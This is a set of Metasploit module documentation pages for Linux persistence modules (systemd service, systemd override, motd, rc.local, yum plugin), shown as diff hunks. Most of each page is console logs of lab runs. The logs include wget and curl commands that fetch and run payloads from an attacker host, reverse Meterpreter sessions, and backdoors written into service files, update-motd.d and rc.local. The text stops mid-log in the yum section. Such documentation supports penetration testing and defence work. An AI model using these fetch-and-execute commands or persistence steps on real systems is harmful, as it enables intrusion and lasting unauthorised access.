[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250212.5212/ubuntu18desktop.local_20250212.5212.rc
|
||||
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:58360) at 2025-02-12 16:52:13 -0500
|
||||
[msf](Jobs:2 Agents:2) exploit(linux/persistence/init_systemd) > sessions -i 2
|
||||
[*] Starting interaction with 2...
|
||||
(Meterpreter 2)(/home/ubuntu) > sysinfo
|
||||
Computer : ubuntu18desktop.local
|
||||
OS : Ubuntu 18.04 (Linux 5.3.0-26-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
(Meterpreter 2)(/home/ubuntu) > getuid
|
||||
Server username: ubuntu
|
||||
```
|
||||
|
||||
#### root
|
||||
|
||||
Initial access vector via web delivery
|
||||
|
||||
```
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
|
||||
lhost => 111.111.1.111
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
|
||||
srvport => 8181
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 7
|
||||
target => 7
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4545
|
||||
lport => 4545
|
||||
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
|
||||
URIPATH => l
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Starting persistent handler(s)...
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4545
|
||||
[*] Using URL: http://111.111.1.111:8181/l
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO Xz9l4YxP --no-check-certificate http://111.111.1.111:8181/l; chmod +x Xz9l4YxP; ./Xz9l4YxP& disown
|
||||
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 222.222.2.222
|
||||
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:35802) at 2025-02-12 16:54:10 -0500
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
(Meterpreter 1)(/home/ubuntu) > getuid
|
||||
Server username: root
|
||||
(Meterpreter 1)(/home/ubuntu) > sysinfo
|
||||
Computer : ubuntu18desktop.local
|
||||
OS : Ubuntu 18.04 (Linux 5.3.0-26-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
(Meterpreter 1)(/home/ubuntu) > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Persistence
|
||||
|
||||
```
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_systemd
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > set session 1
|
||||
session => 1
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > exploit
|
||||
[*] Command to run on remote host: curl -so ./pCnRnSfZCFa http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./pCnRnSfZCFa;./pCnRnSfZCFa&
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_systemd) >
|
||||
[*] Fetch handler listening on 111.111.1.111:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
|
||||
[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based
|
||||
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
|
||||
[*] Writing backdoor to /tmp//nfiWHmr
|
||||
[*] Writing service: /lib/systemd/system/SBFzvKrWjH.service
|
||||
[*] Enabling service
|
||||
[*] Starting service
|
||||
[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
|
||||
[*] Sending payload to 222.222.2.222 (curl/7.58.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 222.222.2.222
|
||||
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250212.5514/ubuntu18desktop.local_20250212.5514.rc
|
||||
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:58406) at 2025-02-12 16:55:15 -0500
|
||||
```
|
||||
@@ -0,0 +1,160 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will create an override.conf file for a SystemD service on the box.
|
||||
The ExecStartPost hook is used to launch the payload after the service is started.
|
||||
We need enough access (typically root) to write in the /etc/systemd/system
|
||||
directory and potentially restart services.
|
||||
|
||||
Verified on Ubuntu 22.04
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Exploit a box and get a shell
|
||||
2. `use exploit/linux/persistence/init_systemd_override`
|
||||
3. `set SESSION <id>`
|
||||
4. `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### SERVICE
|
||||
|
||||
Which service to override. Defaults to `ssh`.
|
||||
|
||||
### ReloadService
|
||||
|
||||
If set to `true` (default), runs `systemctl restart` to restart the service.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 22.04
|
||||
|
||||
Initial (root) access
|
||||
|
||||
```
|
||||
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 7
|
||||
target => 7
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
|
||||
srvport => 8082
|
||||
resource (/root/.msf4/msfconsole.rc)> set uripath l
|
||||
uripath => l
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4446
|
||||
lport => 4446
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4446
|
||||
[*] Using URL: http://1.1.1.1:8082/l
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO 1k6smMWF --no-check-certificate http://1.1.1.1:8082/l; chmod +x 1k6smMWF; ./1k6smMWF& disown
|
||||
msf exploit(multi/script/web_delivery) >
|
||||
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3090404 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:42996) at 2025-09-11 17:18:18 -0400
|
||||
|
||||
msf exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 2.2.2.2
|
||||
OS : Ubuntu 22.04 (Linux 5.15.0-48-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Persistence (utilizing a manual restart)
|
||||
|
||||
```
|
||||
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_systemd_override
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf exploit(linux/persistence/init_systemd_override) > set session 1
|
||||
session => 1
|
||||
msf exploit(linux/persistence/init_systemd_override) > set ReloadService false
|
||||
ReloadService => false
|
||||
msf exploit(linux/persistence/init_systemd_override) > exploit
|
||||
[*] Command to run on remote host: curl -so ./vYKBsdwwFTy http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./vYKBsdwwFTy;./vYKBsdwwFTy&
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
|
||||
[*] Fetch handler listening on 1.1.1.1:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /t70WmtC4mNeBieRpZqn09Q
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
msf exploit(linux/persistence/init_systemd_override) > [*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based
|
||||
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
|
||||
[*] Creating /etc/systemd/system/ssh.service.d
|
||||
[*] Writing override file to: /etc/systemd/system/ssh.service.d/override.conf
|
||||
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc
|
||||
|
||||
msf exploit(linux/persistence/init_systemd_override) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > shell
|
||||
Process 2862 created.
|
||||
Channel 6 created.
|
||||
systemctl restart ssh
|
||||
[*] Client 2.2.2.2 requested /t70WmtC4mNeBieRpZqn09Q
|
||||
[*] Sending payload to 2.2.2.2 (curl/7.81.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3090404 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:54688) at 2025-09-11 17:19:27 -0400
|
||||
|
||||
```
|
||||
|
||||
Evidence of compromise in systemctl
|
||||
|
||||
```
|
||||
systemctl status ssh
|
||||
* ssh.service - OpenBSD Secure Shell server
|
||||
Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled)
|
||||
Drop-In: /etc/systemd/system/ssh.service.d
|
||||
`-override.conf
|
||||
Active: active (running) since Thu 2025-09-11 21:19:26 UTC; 15s ago
|
||||
Docs: man:sshd(8)
|
||||
man:sshd_config(5)
|
||||
Process: 2864 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
|
||||
Process: 2867 ExecStartPost=/bin/sh -c curl -so ./vYKBsdwwFTy http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./vYKBsdwwFTy;./vYKBsdwwFTy& (code=exited, status=0/SUCCESS)
|
||||
Main PID: 2866 (sshd)
|
||||
Tasks: 2 (limit: 3444)
|
||||
Memory: 5.7M
|
||||
CPU: 125ms
|
||||
CGroup: /system.slice/ssh.service
|
||||
|-2866 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
|
||||
`-2870 ./vYKBsdwwFTy
|
||||
|
||||
Sep 11 21:19:26 ubuntu2204 systemd[1]: Starting OpenBSD Secure Shell server...
|
||||
Sep 11 21:19:26 ubuntu2204 sshd[2866]: Server listening on 0.0.0.0 port 22.
|
||||
Sep 11 21:19:26 ubuntu2204 sshd[2866]: Server listening on :: port 22.
|
||||
Sep 11 21:19:26 ubuntu2204 systemd[1]: Started OpenBSD Secure Shell server.
|
||||
```
|
||||
|
||||
Cleanup
|
||||
|
||||
```
|
||||
meterpreter > run /root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc
|
||||
[*] Processing /root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc for ERB directives.
|
||||
resource (/root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc)> rm /etc/systemd/system/ssh.service.d/override.conf
|
||||
resource (/root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc)> execute -f /bin/systemctl -a "daemon-reload"
|
||||
Process 2914 created.
|
||||
resource (/root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc)> execute -f /bin/systemctl -a "restart ssh.service"
|
||||
Process 2915 created.
|
||||
```
|
||||
@@ -0,0 +1,126 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This is a post module that performs a persistence installation on a Linux system using [motd](https://manpages.debian.org/bookworm/manpages/motd.5.en.html).
|
||||
To trigger the persistence execution, an external event such as a user logging in to the system with SSH is required.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Obtain a session on the target machine
|
||||
3. `use exploit/linux/persistence/motd`
|
||||
4. `set session [session]`
|
||||
5. `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### BACKDOOR_NAME
|
||||
|
||||
Specify the name of the file to insert in the motd directory. Defaults to `99-check-updates`
|
||||
|
||||
### PAYLOAD_NAME
|
||||
|
||||
Name of the payload file if a `cmd` payload is not used. Defaults to a random name
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 18.04.3
|
||||
|
||||
Initial access vector via web delivery
|
||||
|
||||
```
|
||||
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
|
||||
lhost => 111.111.1.111
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
|
||||
srvport => 8181
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 7
|
||||
target => 7
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4545
|
||||
lport => 4545
|
||||
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
|
||||
URIPATH => l
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Starting persistent handler(s)...
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4545
|
||||
[*] Using URL: http://111.111.1.111:8181/l
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO oQN8BXNV --no-check-certificate http://111.111.1.111:8181/l; chmod +x oQN8BXNV; ./oQN8BXNV& disown
|
||||
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 222.222.2.222
|
||||
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:42870) at 2025-02-07 15:40:34 -0500
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
(Meterpreter 1)(/tmp) > getuid
|
||||
Server username: root
|
||||
(Meterpreter 1)(/tmp) > sysinfo
|
||||
Computer : ubuntu18desktop.local
|
||||
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
(Meterpreter 1)(/tmp) > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Persistence
|
||||
|
||||
```
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/motd
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/motd) > exploit
|
||||
[-] Msf::OptionValidateError One or more options failed to validate: SESSION.
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/motd) > set session 1
|
||||
session => 1
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/motd) > exploit
|
||||
[*] Command to run on remote host: curl -so ./rpNzsXNVDsZ http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./rpNzsXNVDsZ;./rpNzsXNVDsZ&
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:2 Agents:1) exploit(linux/persistence/motd) >
|
||||
[*] Fetch handler listening on 111.111.1.111:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. /etc/update-motd.d/ is writable
|
||||
[*] /etc/update-motd.d/99-check-updates written
|
||||
[+] Payload will be triggered at user login
|
||||
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250207.4101/ubuntu18desktop.local_20250207.4101.rc
|
||||
[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
|
||||
[*] Sending payload to 222.222.2.222 (curl/7.58.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 222.222.2.222
|
||||
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:48696) at 2025-02-07 15:41:26 -0500
|
||||
[msf](Jobs:2 Agents:2) exploit(linux/persistence/motd) > sessions -i 2
|
||||
[*] Starting interaction with 2...
|
||||
(Meterpreter 2)(/) > getuid
|
||||
Server username: root
|
||||
```
|
||||
|
||||
### Ubuntu 22.04
|
||||
|
||||
```
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/motd_persistence
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/motd_persistence) > set session -1
|
||||
session => -1
|
||||
msf6 exploit(linux/local/motd_persistence) > exploit
|
||||
[*] /etc/update-motd.d/99-check-updates written
|
||||
msf6 exploit(linux/local/motd_persistence) >
|
||||
[*] Sending stage (3045380 bytes) to 172.18.49.39
|
||||
[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400
|
||||
msf6 exploit(linux/local/motd_persistence) > sessions -i -1
|
||||
[*] Starting interaction with 2...
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,124 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will edit `/etc/rc.local` in order to persist a payload.
|
||||
The payload will be executed on the next reboot.
|
||||
|
||||
Verified on Ubuntu 18.04.3
|
||||
|
||||
### Verification
|
||||
|
||||
1. Exploit a box and get a **root** session
|
||||
2. `use exploit/linux/persistence/rc_local`
|
||||
3. `set SESSION <session>`
|
||||
4. `set PAYLOAD <payload>`
|
||||
5. `set LHOST <lhost>`
|
||||
6. `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### PAYLOAD_NAME
|
||||
|
||||
Name of the payload file if a `cmd` payload is not used. Defaults to a random name
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 18.04.3
|
||||
|
||||
Initial access vector via web delivery
|
||||
|
||||
```
|
||||
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
|
||||
lhost => 111.111.1.111
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
|
||||
srvport => 8181
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 7
|
||||
target => 7
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4545
|
||||
lport => 4545
|
||||
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
|
||||
URIPATH => l
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Starting persistent handler(s)...
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4545
|
||||
[*] Using URL: http://111.111.1.111:8181/l
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO zLeqpMSF --no-check-certificate http://111.111.1.111:8181/l; chmod +x zLeqpMSF; ./zLeqpMSF& disown
|
||||
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 222.222.2.222
|
||||
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:48462) at 2025-02-09 06:54:32 -0500
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
(Meterpreter 1)(/home/ubuntu) > getuid
|
||||
Server username: root
|
||||
(Meterpreter 1)(/home/ubuntu) > sysinfo
|
||||
Computer : ubuntu18desktop.local
|
||||
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
(Meterpreter 1)(/home/ubuntu) > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Persistence
|
||||
|
||||
```
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/rc_local
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > set session 1
|
||||
session => 1
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > set WritableDir /home/ubuntu/
|
||||
WritableDir => /home/ubuntu/
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > exploit
|
||||
[*] Command to run on remote host: curl -so ./GvwBrOrMxFD http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./GvwBrOrMxFD;./GvwBrOrMxFD&
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) >
|
||||
[*] Fetch handler listening on 111.111.1.111:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. /etc/rc.local is writable
|
||||
[*] Reading /etc/rc.local
|
||||
[*] Created /etc/rc.local backup: /root/.msf4/loot/20250209065535_default_222.222.2.222_rc.local_367870.txt
|
||||
[*] Patching /etc/rc.local
|
||||
[+] Payload will be triggered at next reboot
|
||||
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250209.5536/ubuntu18desktop.local_20250209.5536.rc
|
||||
```
|
||||
|
||||
Reboot host
|
||||
|
||||
```
|
||||
[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
(Meterpreter 1)(/home/ubuntu) > shell
|
||||
Process 2052 created.
|
||||
Channel 4 created.
|
||||
reboot
|
||||
[*] 222.222.2.222 - Meterpreter session 1 closed. Reason: Died
|
||||
Terminate channel 4? [y/N] y
|
||||
[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact <id> --timeout <value>
|
||||
[msf](Jobs:2 Agents:0) exploit(linux/persistence/rc_local) >
|
||||
[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
|
||||
[*] Sending payload to 222.222.2.222 (curl/7.58.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 222.222.2.222
|
||||
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:36260) at 2025-02-09 06:56:39 -0500
|
||||
[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) > sessions -i 2
|
||||
[*] Starting interaction with 2...
|
||||
(Meterpreter 2)(/) > getuid
|
||||
Server username: root
|
||||
(Meterpreter 2)(/) >
|
||||
```
|
||||
@@ -0,0 +1,112 @@
|
||||
## Description
|
||||
|
||||
This module will run a payload when the package manager is used.
|
||||
This module modifies a yum plugin to launch a binary of choice.
|
||||
`grep -F 'enabled=1' /etc/yum/pluginconf.d/`
|
||||
will show what plugins are currently enabled on the system.
|
||||
|
||||
root persmissions are likely required.
|
||||
|
||||
Verified on Centos 7.1
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Exploit a box that uses Yum
|
||||
2. `use exploit/linux/persistence/yum_package_manager`
|
||||
3. `set SESSION <id>`
|
||||
4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed
|
||||
5. `exploit`
|
||||
|
||||
When the system runs yum update the payload will launch. You must set handler accordingly.
|
||||
|
||||
## Options
|
||||
|
||||
### PAYLOAD_NAME
|
||||
|
||||
Name of backdoor executable
|
||||
|
||||
### PLUGIN
|
||||
|
||||
Name of the yum plugin to target
|
||||
|
||||
### PluginPath
|
||||
|
||||
Plugin path to use default is (`/usr/lib/yum-plugins/`)
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Centos 7.1
|
||||
|
||||
Initial access vector via web delivery
|
||||
|
||||
```
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
|
||||
lhost => 111.111.1.111
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
|
||||
srvport => 8181
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 7
|
||||
target => 7
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4545
|
||||
lport => 4545
|
||||
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
|
||||
URIPATH => l
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Starting persistent handler(s)...
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4545
|
||||
[*] Using URL: http://111.111.1.111:8181/l
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO KOiqZchh --no-check-certificate http://111.111.1.111:8181/l; chmod +x KOiqZchh; ./KOiqZchh& disown
|
||||
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 192.168.2.100
|
||||
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 192.168.2.100:34470) at 2025-02-16 11:30:09 -0500
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/yum_package_manager
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[msf](Jobs:2 Agents:2) exploit(linux/persistence/yum_package_manager) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
(Meterpreter 1)(/home/centos) > getuid
|
||||
Server username: root
|
||||
(Meterpreter 1)(/home/centos) > sysinfo
|
||||
Computer : centos71.localdomain
|
||||
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.53.1.el7.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
(Meterpreter 1)(/home/centos) > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Persistence
|
||||
|
||||
```
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/yum_package_manager) > set session 1
|
||||
session => 1
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/yum_package_manager) > exploit
|
||||
